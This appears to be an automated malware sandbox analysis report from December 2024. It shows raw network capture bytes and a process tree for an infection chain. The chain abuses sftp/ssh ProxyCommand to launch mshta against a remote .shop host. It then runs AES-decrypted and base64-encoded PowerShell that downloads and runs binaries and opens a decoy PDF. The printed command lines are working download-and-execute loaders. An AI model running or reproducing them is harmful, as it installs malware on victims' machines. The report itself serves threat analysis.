9e 85 bd b2 88 9d b1 b9 ac 92 af 91 b2 b5 97 a9 97 a9 b8 8f 9a ab a9 9e 8c b4 be bd 9b b1 a8 88 90 b1 bf bd 91 8d 85 b0 8b 8b 8f a8 88 ae ba b1 8a af b5 9b 90 a8 9b a6 9e Data Ascii:
2024-12-17 07:38:34 UTC	1369	IN	Data Raw: b1 9f b9 9f b5 ab 94 b1 b8 91 99 b5 9a 84 92 8e b0 93 9a b2 8e 89 a8 bb 8e 95 a4 a9 91 b0 96 b5 b5 97 8f b1 a8 a9 a6 8e ac b4 b1 b0 93 b2 b3 a4 99 92 b4 a8 ad 97 ae a4 a8 bd 97 a4 a5 86 84 9d a5 b2 bf 9f a9 b4 92 8b ba 98 88 92 8e 8a b8 ad 9e 9e b6 a9 8d 91 b7 95 bf 90 8e af 95 a8 bd 95 92 ba af 8a 8c a9 a4 ac 91 b6 90 97 84 9b bf 89 8e 8b ac b6 86 ba 97 ae b9 96 96 b7 ac b5 ac 9a 9f 98 92 b9 8d ba 9d 8d 8f ba 92 4c 35 65 df dc dc dc 88 a9 b5 bd bb b1 9d b1 94 9a 98 98 ab b5 a6 b1 ba 92 ad 91 b0 86 9e ad b1 a5 91 ac bd 98 86 8e af be b4 89 8a 8d ab 9f 8f 84 ad ba 8b ad b8 a5 99 89 96 94 9d ae b5 93 b2 aa ad a6 9d a6 ac 8d ae be 89 b8 a4 8a b3 b8 b5 85 b3 91 bd bf bd b3 a4 9e 86 85 85 bd bb 99 85 8e 9d 8a ae a9 ab 8c 92 a8 aa 8e 88 92 bb 98 af 8f b1 90 8e Data Ascii: L5e
2024-12-17 07:38:34 UTC	1369	IN	Data Raw: 92 b0 99 89 b8 b1 93 aa bd 9a b2 b8 92 bf 91 9f 95 aa 8f 88 bd b5 b1 90 bd 90 b1 8f af 95 84 9a 95 b7 bd b3 9b 9b bf 8f 8d 93 84 9e 9f aa b4 8b 89 b0 95 8e ba 88 8b b4 8f af be b9 b7 ac b5 86 85 b2 89 b0 b9 b5 99 88 b0 b6 8f 90 ac 8e 8e bf ac ac bd 9a bf 89 94 84 bf ad 90 98 a9 a8 8e 8c 99 8d 9b a6 90 8e 9a 9f 85 aa 9f ae be b7 96 bb ad 88 9d b2 9f af 92 89 9b 8e 8b bf b4 92 97 96 b9 a4 9a 8b bb 98 bb 8d 85 8f b8 96 9a 8f 8e 96 ba ab 8f 8a 9b a5 a9 9f 8e 8f 90 88 9f 93 92 99 9b 86 b0 9d b3 b0 8a a8 b2 9e b8 94 8f 9a 95 94 a9 9a 95 93 91 ac a6 ac bd be 90 86 99 b1 ad 8c bf ab 8b b6 99 95 a6 8c 86 b7 94 96 aa 90 8f b6 9a b3 94 b6 90 8b 97 a9 94 97 b8 88 ba af 89 84 8e 86 b5 bf 8e 94 b7 a4 a5 ac ab 8e 89 8a ae 8e 92 a6 9d a5 8c a8 a4 8f a9 8b af 9b 8a 8d af Data Ascii:
2024-12-17 07:38:34 UTC	1369	IN	Data Raw: 8a b3 98 99 8a 90 86 b5 bd 8e b4 99 98 ad b8 ac 9a 9d b7 bd b6 9f 99 84 ac bf af 96 ad b0 b3 9f 8a ba 92 a5 b6 bb 88 98 a5 a8 b9 8f 8d bd 8a 88 b5 89 95 b0 b8 9f 8e ac 8a a9 b9 9d a4 98 9f bf 89 9e bb 96 8c be b9 9d 8c a4 8c a4 9a aa 91 97 84 b2 84 88 a9 8f 9d b0 b0 9f bd ac 90 99 97 8d 90 b8 ba 89 b8 ad bf a5 a8 ae 9f 89 9e 9b 85 b9 b3 a5 a5 b2 af 9b ac 97 8d 84 86 8f b2 ab b5 af 94 9e a6 ab a5 89 b3 ae 9e b9 af 88 8c b3 98 b5 8a 90 8a b0 ad bf be b9 b2 92 92 b0 8a 97 8b bf aa 8b a9 b2 92 91 af aa 9f a5 bb b6 a9 a6 bf bf be aa ac af 8c ad 9e bf b8 8a 88 9d b1 98 98 bb b0 9b b3 bd 8d 93 8b af 95 b9 99 8c 8b 8b 9f 95 ad b2 bd 8c 9b 95 93 92 97 ba 97 86 9d 94 b1 93 96 b5 89 89 93 bd 92 b1 b9 b1 b2 8c 8c 91 91 8f 89 b0 90 a9 90 ac 8c 97 99 8c a5 ba 95 bb 96 Data Ascii:
2024-12-17 07:38:34 UTC	1369	IN	Data Raw: dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc 8c 99 dc dc 90 dd d4 dc c5 82 9e f6 dc dc dc dc dc dc dc dc 3c dc 52 5d d7 dd de c5 dc 16 dd dc dc 8c dc dc dc dc dc dc ac 0a dd dc dc cc dc dc dc 3c dd dc dc dc 9c dc dc cc dc dc dc cc dc dc d8 dc dc dc dc dc dc dc d8 dc dc dc dc dc dc dc dc 5c de dc dc d8 dc dc dc dc dc dc de dc dc dc dc dc cc dc dc 9c dc dc dc dc cc dc dc cc dc dc dc dc dc dc cc dc dc dc dc dc dc dc dc dc dc dc dc dc de Data Ascii: <R]<\
2024-12-17 07:38:34 UTC	1369	IN	Data Raw: dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc Data Ascii:
2024-12-17 07:38:34 UTC	1369	IN	Data Raw: dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc Data Ascii:
2024-12-17 07:38:34 UTC	1369	IN	Data Raw: dc 48 cc 9c dc d3 d6 95 95 b2 a8 b9 ae ba bd bf b9 dc dc dc dc dd dc dc dc dc dc dc dc dc 1c dc dc dc dc dc dc 9a da 8f a5 af a8 b9 b1 df dc 23 23 10 5f 98 f8 d8 24 35 e1 94 dc dc 5f 98 f8 d8 24 35 87 94 dc dc 5f 98 f8 d8 24 35 b9 94 dc dc 10 10 1d cc 9c dc 17 cc 9c dc 09 cc 9c dc dd dc dc dc dc dc dc dc dc dc dc dc 1c dc dc dc dc dc dc 9a 3d cc 9c dc d4 dc dc dc dc dc dc dc 51 9c dc 80 cd 9c dc 31 cc 9c dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc dc 80 cd 9c dc d0 dc dc dc c0 cc 9c dc 88 ea 9c dc 00 84 9c dc 34 84 9c dc b4 ea 9c dc 80 ea 9c dc 24 84 9c dc 2c ef 9c dc f0 e8 9c dc cd 88 95 b2 a8 b9 ae ba bd bf b9 b8 93 be b6 b9 bf a8 57 1c 23 f9 18 dd 9e dc 57 1c 23 f9 1c dd 9e dc 57 1c 23 f9 60 dd 9e dc 57 1c 23 f9 64 dd 9e dc Data Ascii: H##_$5_$5_$5=Q14$,W#W#W#`W#d
2024-12-17 07:38:34 UTC	711	IN	Data Raw: dc 5d 3a dc dc 23 23 55 af d8 b6 d8 b4 dc fc dc dc 8a 89 34 60 20 23 23 55 df 5f e7 dc a8 ff 57 0f 64 30 29 9d dc 34 b9 21 23 23 58 1c a9 cf b4 dc 5c dc dc b6 dc 57 df 8c 34 42 20 23 23 ef 1c 55 df 81 83 82 87 1f 4c 8f 8a 8b 89 5f 18 34 57 25 57 28 1b 98 f8 d4 23 23 23 23 ef 15 55 90 f8 d0 55 98 f8 cc df 88 f8 cc 55 88 f8 c8 7d 30 29 9d dc 55 da 37 b7 57 da 57 dc 55 98 f8 d8 57 da 57 84 d4 e7 80 f8 cc ae 8e 57 1f 57 ca df 9e d0 e7 98 f8 c8 ab 99 e7 80 f8 d4 af d8 55 80 f8 d4 57 da 57 b4 d4 57 da df b4 d0 e7 b0 f8 d0 aa d8 55 b0 f8 d0 b4 dc 5c dc dc b6 dc 57 da 57 9c d4 8c 34 ca 20 23 23 59 1c a9 d6 1b d9 14 29 9d dc dd dc dc dc 57 da 34 cd 21 23 23 57 98 f8 d8 55 da 64 30 29 9d dc e7 da a9 50 ef 1c 55 db 5f a0 f8 d0 dc a8 cd 57 98 f8 d4 55 db 57 98 f8 d0 Data Ascii: ]:##U4` ##U_Wd0)4!##X\W4B ##UL_4W%W(####UUU}0)U7WWUWWWWUWWWU\WW4 ##Y)W4!##WUd0)PU_WUW

Target ID:	0
Start time:	02:38:08
Start date:	17/12/2024
Path:	C:\Windows\System32\OpenSSH\sftp.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\OpenSSH\sftp.exe" -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" .
Imagebase:	0x7ff7fa090000
File size:	374'272 bytes
MD5 hash:	72C41AA478CA868F95AD0936AF65818A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:38:08
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:38:08
Start date:	17/12/2024
Path:	C:\Windows\System32\OpenSSH\ssh.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp
Imagebase:	0x7ff7815b0000
File size:	946'176 bytes
MD5 hash:	C05426E6F6DFB30FB78FBA874A2FF7DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:38:08
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:38:10
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://static.klipxuhaq.shop/3VKKE.mp4"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:38:10
Start date:	17/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" https://static.klipxuhaq.shop/3VKKE.mp4
Imagebase:	0x7ff6dbf30000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:38:13
Start date:	17/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:38:15
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function wrdZ($UvhG){return -split ($UvhG -replace '..', '0x$& ')};$ERHgk = wrdZ('ECA586FB867E54D080F88AB849BFB94F298E9D4D174F6B1F2F81610C3540C56191E34FB7B2DF87630478E180DACA97337CF338C5F0549579E18CC1A49A1339F9691FAE2EDAAC0D6E2AB4913030D45E7F9C40731A7B0ED45F438D15D573AB5E4816A3D8CA82DAA342D630EDB6E24E85F4D05E0447A728444A18214CD35DB1FD5C4C677BF1EB6DD62A0D4B42A5F996D056A8C58BF2B2ADC007CA0004F35EEDF7DB06CC47C0E8175257375360952646DDCE12F86A389A2FB4F08F04DF71ABBD10CA19394807E45AE262B4CF2BD880666BE9808038992E086339CA69F730462BD5BA268BEA9591B45C3FDDC4B990452C3C5B083B1D8A99DB9D344BE7F259679F7994FBAA4E272654402905FEB107236FDE83FA247F6DFF5EE2DE2FBE984DE8D33A5077EC31D65DAE7AAC344DB18BADD0E59C3DC0A20AA1776387E75ED82F6F21E81D436D435FE7641490C8BB3BE615F9D76B1F8A1323001EC29CB1DC720A20647927291ABFCCFF409B1F94A878B0CDB0AFF68E11DAF8B2CCB95D3B395C11FB1D2F79673936E5F6AF545B019BFDE71CDAC1667709524F9244C6D8B3198F1F28C92F507AF233B70FD15099184E521AA3D1F4EB4613BE4CC9617FD5EE373CB05A7B164A2B6211387C494F7FC2F64FB4B0EEC11B39FFCC4E09EE10E96070192D4E0E2AD737B857A3BA8766EF8B454E4CC9BAE60331184407821C7F5A417DEBB95885CD929FAC64B5913D45E20BA92710C789EA36BC01ED629BAAEEFB8F420E9D966E4669DB7E1EE213C1001073B4FB67BB454BA80B0144D096E4FA221E9AB74FB2FDA2CBBA9C669EB50610B810047A6A75A1E41407350666C1B141836EA4FB3C9588111CE216EB2E451248C7008EA09561E08463428A981B69214151A19DD58483CB4A07DA879953AA3FDBF8EC16A79ACD16FBF54B34E405FCE7D15727908982C71DB4EC3160579745FCBC610756535558573F49618C7606881E9C8F026001D9C1C40FD2462CC1EC3DCF620D160F23D6F789F8CAA4EE9835FD65AA1D0E0278809DE0D85C1295E58C782AAFF7016B75C2FBB65FE1F73E7B038C89BAA57C32930D22EE8C71A06F4A2C738995833A10226ECDFB07ECD5F6DA31617797E009FA791AB33D9189A3A8E44428EFC9D7C6FAC3474FD38038FE910BBB036CFF902B287315F807FAAA06AED95210DDE82DAEAC0A523D871AE53C0EF75EF61B9A57F8F33A81ABD5D297C8FA835397595E7202A8E9007FFC7EDE814D001B798D89293879C641BE0707A91665E5503FECF99138AC09675DB1C070F4CF90193587A5FFC1CEE76401544370EB81704BA787C0CD04C9585C45A98FE309B624E2A8DF58992BFB2E28E05D3E083F40D7259170B815F21C934D9A6B716FB374544D200AC2F51F83FF6015BF31FAF855ACD6F94C4EDCFFE1B1B1E84CD0DCE3476BE438811875890C244AF355F5A99D60D3FE596651A7FCE949EF11B75A3E47270440D77D7293E40B99F248B7EA50AE844851B9FCECC2A42A543848822154E0BDE72E753A37ABBC37D5A523E44824FDECB7EA3DA94AE0BC489AFB57E7FF8B9D330E6B6CF749C38703F35FBB8C7524C1CC772CB6E97F52B9A303F765EEA1CF88781CF03DBAF4E05C5E83D04900C62AE76C9060D2EF02C6358A9C35D3C5CADDA4513FE8720161EE8D258C9D8738089620A44FDD02266B9393340D2A4D6DF53670CE0EAC8ADF596CBD6821F99D9AA7D32C9C1C8CDD6A112CF9684123E95FA54979737993CA2ED54A8E4E7B526955F3B82D4D1180DCF858A68E630366BAE559198412C920E3DF514DC1275386D42B0CF7D7800F9A9C56DF30AC55BB715221A65AC5F1B6C047475AF5D327C3E5F8421DC5507C9898E1CA30BC70D6ED81C7FBE88DC6473A1B361F63E277C1B83D0BA47D9D3A44BB1ED147D9E3D1391B4E0C9728E31F4600C8F8CDC7EA1BB362F215217B57B713C7F2C9B60FFBB1ABFF32654C427DAA0BD39D0753919D0F4F7B47FF923BD6168030D3B1CA13A0BC8AE221E2EFF957C435C969E04687A2C6C904546412E258E176D90F2AB2610D646A04013170A7E91553C26CB19E387AC2878C25187D9EC33EAC057D9448A0E50970D725F4AE31251B623B0B5A305DCAC452B7DA140F210FCC343D9FBD0EC51684312B709C31444AACFA23CFEAB3AE4AC1C6A879FE470B6416CEBB2F178AE84573C53893E06FC0AE6ECFC03F4C90F076720D4B810C012F09743B0BF027AFB2E867A6E3F73245EFE09DF5DCE804610D56D01DC824BF35F45CB7EDA5CD64F311A3B61FE521DA848A9CAB24E748591B220CEEFE7D9A36BBC1E5F24BF30F5CE52169CB97FAAE75575413CD60AE32FC1A6CC27C9980085CDA2F8C27D87CA1FF168195891536630388FFCD9C372990E8DB3035DB41B4F05649EDF35A78D27B65607BED7BF574919DED94333AA2853E49B351986E8299E7F8CB9EB1BB9794F03018AB908F931503BFEACE65F8679C093B2329E97B124254753C5C544C2750918D3F7D58E7556F9CDBE22D8EF4E087662E02BE99BDC7FEBE9725EC81D8FFEAB94C47300957B76133483633F4C417A4E36BE4BA53126A232E102EAE8CFBF4D04771B0B17331D769C9868C1BA21D79B62C6156B711C4DA2AE26EA3AC3AA1234E4D38FA65E44011BF70B4B8164D5F6803D08C5EF5B31BAAF7604E5ED04E78508A96C33DC3492F83F453FD1E760E7AF8934042152026B411DA5D050D3FD8CCD624AC5D4F6ACF0304BA03E7EA0E9E334B99AA805A7D4CD723334E8FF067C594EBB0E5C6E10C35DFAEDF91E5435A572165C3928CD8C7A89E4B018B67367579AC884AE72CC15C6507DD451FA613ABABFB1BEB49E6524CDCFC6DFC638DBC730BE50DE2F5E34D5F663DF4F56A2742C0A7FF04F9AD3FEE4DF08653E02F23B90B05B4B5E605FD41CFF536CB679848F513DD2D7927CE2E9E159E7FE452FD3CA59EA983EB5045FD03D30192780BC10C8AC0A57B49F8DC235CB74504E0E301B1C0E41DABA9A975A56696157984A6AD4A76AE095BFD4669183463DD41D43595B0446410F94FD2B2C020C103C2A0BAB641ABF60DFAEBDE549EF5A220BCE98226A0CE20B9225E1385E98ADFBA9CF1850D7F113DB328BE5E3C9340A2A952E676B9BEC2B6120988762635F70A05D2B777638385AD00F32DE0C206E562B0C2195FC2AD184ED4D67B68C93D7210AA4A20118614889E0786C0E9C0FC28EF8F771F6320C8D924C92FBFA72E2F719D17C1A309B8EB56AA40BBF5DFC35CAC2B40719ADE0D17B5052200F6EF4BB1C7B93D9C0944E8005D65AC117C7B894D5EEC87F17109C1949668FFDC7A4CA6C940B88918C3DE04F4A4CC43DE2D7131D26A49125B2C46CFCEE8AF68EAAEC1AEF8D3C8C1BDD83E8126909DCB7CCEB105D450824ACCDB5C4E8A86CD12F1D1AF6BB83D6F2EAD63BB04655509F1109DCB3566BF352891E4BD45C18681F6E05F6BCB9621FA298C87220A4C95FD32B57EB11E136B0F2B1EA66CDA02C81C9506E52D8DDB49AAEB7BF8338DC00C174FC70E63AC9A2DB86B995EFD4E27B06E95285A47557301FBFA59F163C94BC198DBC2E9A3AABEDDAB1968AD63CC18FBBD99FCC92C4B66F67B13E361C60F5DE165F887A5FD810B1FC0D81F20D34B77231A785EA4F3C2FABF388D5F425D0B49D28D797587AD2A76BB48EBCAA42A261893ED1243B7B8B39A642FB81DE7693B76CABA8D573C7CDB16F821D88C0A82B778C8B6A7041CFB6AE7518394091122A37BA9A348655774955AC96E899B16C45DD9F498BF83331A78A07D675E0F617E2302DD1BE067435EF00E8CE909F6997221E215908093F119F9E973D693875506C00344360E305434E218FDBB34B36412FEB62E4B519613672B8D0572BAD09FF488FB9CAE9A7C1FE5D3FB245FB243F1502CBA5B42C3CE66FC0C6F92DA0F28B9FC0925F12D5DF11D10D4F3E965D5025E2246B6E0B2A80B2B0B9780F6AD69813C90E900DD592BF5CD589A648E97917D567418BB6C536052204E09FA189445CF4D138D886258BCA2C85028723BA69A14D89DC4C5FE6415BA90A1387A444AA3A25EBEC36D5F01425A866E96BBA5707D665D69B73587240C5BB26999293879135BC569AB94BC5D8B8171BDAFD8ACE9403BC1BE80B00859E9B66A116F1F4F1F61E999A2910C8BA17673DD98B2B1C5531DC9E5BE8CD421CC04F219A1A0CB2BC4FA49CC317D1110D35CA05E5ABE31F2A39C7B38F6E5480485B0');$fkxI=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((wrdZ('71747743676D42704F54615370636865')),[byte[]]::new(16)).TransformFinalBlock($ERHgk,0,$ERHgk.Length)); & $fkxI.Substring(0,3) $fkxI.Substring(433)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:38:15
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:38:16
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAYQBKAHcANwA7ACQAcwBXAGYAMgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAawBOAHIAMwA7ACQAdgBQAGIAOQA9ACIAaAB0AHQAcABzADoALwAvAGMAbgBkAGUAZgAxAC4AZwByAGUAZQBuAC0AcABhAHQAaAB3AGEAeQBzAC4AcwBoAG8AcAAvAGEAcABpAC8AdQB6AC8ANwA1ADUAMgA5ADcAMwA2ADUAMAAvAHUALgBiAGkAbgAiADsAJAB4AFEAZAA1AD0AIgBoAHQAdABwAHMAOgAvAC8AYwBuAGQAZQBmADEALgBnAHIAZQBlAG4ALQBwAGEAdABoAHcAYQB5AHMALgBzAGgAbwBwAC8AYQBwAGkALwB1AHoALwA3ADUANQAyADkANwAzADYANQAwAC8AbgBuAG4ALgBiAGkAbgAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdgBQAGIAOQAgAC0ATwB1AHQARgBpAGwAZQAgACQAcABIAHQANgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB4AFEAZAA1ACAALQBPAHUAdABGAGkAbABlACAAJABzAFcAZgAyACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABIAHQANgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAHMAVwBmADIAOwAmACAAKABbAHMAYwByAGkAcAB0AGIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgAKAAnAGUAJwArACcAeABpACcAKwAnAHQAJwApACAALQBqAG8AaQBuACAAJwAnACkAKQApAA==
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:38:16
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:38:19
Start date:	17/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\ref095vq842r70_3rd_party_authorisation_form.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	02:38:20
Start date:	17/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
